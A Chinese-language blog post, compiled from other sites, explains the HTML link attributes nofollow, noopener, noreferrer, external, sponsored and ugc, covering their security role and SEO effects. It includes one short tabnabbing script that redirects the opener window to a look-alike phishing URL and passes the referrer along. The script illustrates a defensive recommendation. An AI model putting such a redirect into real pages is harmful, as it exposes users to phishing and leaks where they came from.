a标签属性 rel=noopener noreferrer nofollow ugc target=_blank

a标签属性rel

<a href="https://quanzhan.co/" rel="nofollow noopener noreferrer" target='_blank'>luch的博客</a>

rel="nofollow noopener noreferrer" — rel=”nofollow noopener noreferrer”

当你浏览一个页面点击一个a标签连接 <a href=”www.baidu.com” target=”_blank”> 跳转到另一个页面时，在新打开的页面（baidu）中可以通过 window.opener获取到源页面的部分控制权，即使新打开的页面是跨域的也照样可以（例如 location 就不存在跨域问题）。

a标签的rel属性通常用于表示当前文档与目标跳转文档之间的关系。其中有两个属性noopener与noreferrer,能够增强网站的安全性，与其他网站隔离。
对设置了target='_blank'属性的 a 标签而且跳转到外部网站的链接添加rel='noopener noreferrer'被认为是Best Practice。

window.opener指向打开当前文档的文档，如果没有则为null。如果在当前文档打开一个新的文档，因为前一个文档被销毁所以window.opener也为null。

使用window.open(url,'_blank')或者设置了target='_blank'属性的 a 标签在 A 文档打开一个新的标签页 B 文档时，此时 B 文档可以对A 文档进行有限的访问（如不能访问 DOM）且不受跨域的影响。但是即使是有限的访问权也造成了安全隐患,因为其可以访问location对象,这样在 B 文档就可以修改 A 文档 URL(例如高仿钓鱼网站，获取用户隐私信息)。
当我们对a标签元素设置rel=noopener后，浏览器则不会将当前文档对象传给其他源的文档，是我们的网站与其他网站隔离，不受目标文档的控制。

在 Chrome 49+，Opera 36+，打开添加了 rel=noopener 的链接， window.opener 会为null。在老的浏览器中，可以使用 rel=noreferrer 禁用HTTP头部的Referer属性，使用下面JavaScript代替 target=’_blank’ 来解决此问题：

var otherWindow = window.open('http://www.baidu.com');
otherWindow.opener = null;
otherWindow.location = url;

1、什么是 noreferrer 标签？

noreferrer 标记在单击链接时隐藏引用者信息。如果有人从使用此标记的链接到达您的网站，您的分析将不会显示谁提到该链接。相反，它会错误地显示为您的统计流量报告中的直接流量。

我们知道当我们发起一个HTTP请求时，它会附带Referrer请求头来标识请求来源。当在 A 文档点击链接 B 文档时，请求 B 文档的请求头Referrer中会附带 A 文档的 URL 信息。
如果 B 文档属于外部文档，那么则存在外部安全隐患，例如原网站被黑，根据请求来源返回对应高仿钓鱼网页，从而窃取用户信息。
因此我们可以设置rel=noreferrer来避免Referrer信息的泄露。

<a href="http://other.site" target="_blank" rel="noreferrer">LINK</a>

2、什么是 noopener 标签？

rel =“noopener”在新标签中打开链接时基本上不会打开它的开启者。这意味着，它的 window.opener 属性将是在新标签中打开一个链接时，而不是从那里的链接打开同一个页面为空。

rel =“noopener”一般都是搭配 target=”_blank”同时使用，因为 target=”_blank” 也是一个安全漏洞：新的页面可以通过 window.opener 访问您的窗口对象，并且它可以使用 window.opener.location = newURL 将您的页面导航至不同的网址。新页面将与您的页面在同一个进程上运行，如果新页面正在执行开销极大的 JavaScript，您的页面性能可能会受影响。

当我们对a标签元素设置rel=noopener后，浏览器则不会将当前文档对象传给其他源的文档，是我们的网站与其他网站隔离，不受目标文档的控制。

<a href="http://other.site" target="_blank" rel="noopener">LINK</a>

3、什么是nofllow标签？

它是告诉搜索引擎，不要将该链接计入权重。因此多数情况下，我们可以将一些不想传递权重的链接进行nofllow处理；例如一些非本站的链接，不想传递权重，但是又需要加在页面中的像统计代码、备案号链接、供用户查询的链接等等。

除了rel=’nofollow’还有两种链接属性形式，一种是rel=’external’，另一种是rel=’external nofollow’。这两种分别代表什么意思呢？又有何区别呢？

rel=”external“

此属性的意思是告诉搜索引擎，这个链接不是本站链接，其实作用相当于target=‘_blank’。

为什么要这样写呢？因为有些网站因为是采用严格的DOCTYPE声名的，如果你在网页源码中的第一行看到：

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” htt://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

在这种情况下target=”_blank”会失效，因此采用rel=’external’这个参数来替代。

rel=”external nofollow“

这个属性基本上是相当于将两种属性结合起来，大致可以解释为 “这个链接非本站链接，不要爬取也不要传递权重”。因此在SEO的角度来说，是一种绝对隔绝处理的方法，可以有效减少蜘蛛爬行的流失。

rel=”nofollow noopener noreferrer”

超链接 target=”_blank” 要增加 rel=”nofollow noopener noreferrer” 来堵住钓鱼安全漏洞。如果你在链接上使用 target=”_blank”属性，并且不加上rel=”noopener”属性，那么你就让用户暴露在一个非常简单的钓鱼攻击之下。

为了告知来自于不受保护的站点的用户，我们运行一个利用了这个缺陷的脚本。

if (window.opener) {
window.opener.location = "https://baidd.co/phishing?referrer="+document.referrer;
}

我相信绝大多数站点都没有恰当地处理这个问题,为了限制 window.opener的访问行为，原始页面需要在每个使用了target=”_blank”的链接中加上一个rel=”noopener”属性。

然而，火狐不支持这个属性值，所以实际上你要用 rel=”noopener noreferrer”来完整覆盖。

nofollow、noopener 和 noreferrer 标签对SEO 有什么影响？

这是许多博主站长们关心的问题，因为大家都知道 nofollow 标签会影响 Google 等搜索引擎的抓取和索引链接以及传递 PageRank 的能力，所以大家都比较担心 noopener 标签和 noreferrer 标签也会这样做。

其实，noopener 标签和 noreferrer 标签对 SEO 没有任何影响。简而言之，它们运行在分析/浏览器级别，而不是搜索引擎级别。虽然在监控反馈流量方面存在严重问题，但它不会影响站点内容的索引、抓取或排名方式

Google引入了两个新的链接属性（rel=”sponsored”和rel=”ugc”），这些属性为SEO优化人员提供了其他方法来帮助Google了解链接的性质。

rel =”sponsored”

使用Sponsored属性可以识别网站上作为广告，赞助或其他补偿协议的一部分而创建的链接。

rel =”ugc”

UGC代表用户生成的内容，建议将ugc属性值用于用户生成的内容内的链接，例如评论和论坛帖子。

rel =”nofollow”

如果您想链接到某个页面，但又不想将权重传递给另一个页面，请使用此属性。

常问问题：

我需要更改现有的nofollows吗？

不需要。如果您现在使用nofollow来阻止赞助者链接或评论链接，Google会继续支持该链接。不需要更改任何已有的nofollow链接。但是Google建议在适当的时候切换到spondered属性。

我仍然需要标记广告或赞助商链接吗？

是。如果要避免可能发生的链接方案操作，请使用rel =”sponsored”或rel =”nofollow”标记这些链接。建议您使用rel =”sponsored”。

sponsored和ugc可以同时使用吗？

可以的，单个链接上可以使用多个属性。例如，对于出现在用户生成的内容中的赞助商链接，使用rel=”ugc spondered”是完全可以的。

谷歌现在是否认可rel=”sponsored”,rel=”ugc”

认可。rel=”sponsored”,rel=”ugc”这两个链接属性，自2019年9月发布之日就已经生效了。现在完全可以使用。

扩展阅读：链接类型及其在 HTML 中的意义

整理自:https://wosn.net/725.html

整理自:https://www.dazhuanlan.com/2020/01/02/5e0d46202b8a8/

整理自:http://www.6ke.com.cn/seoxuetang/gjcpm/2020/0122/33966.html

打赏赞(2)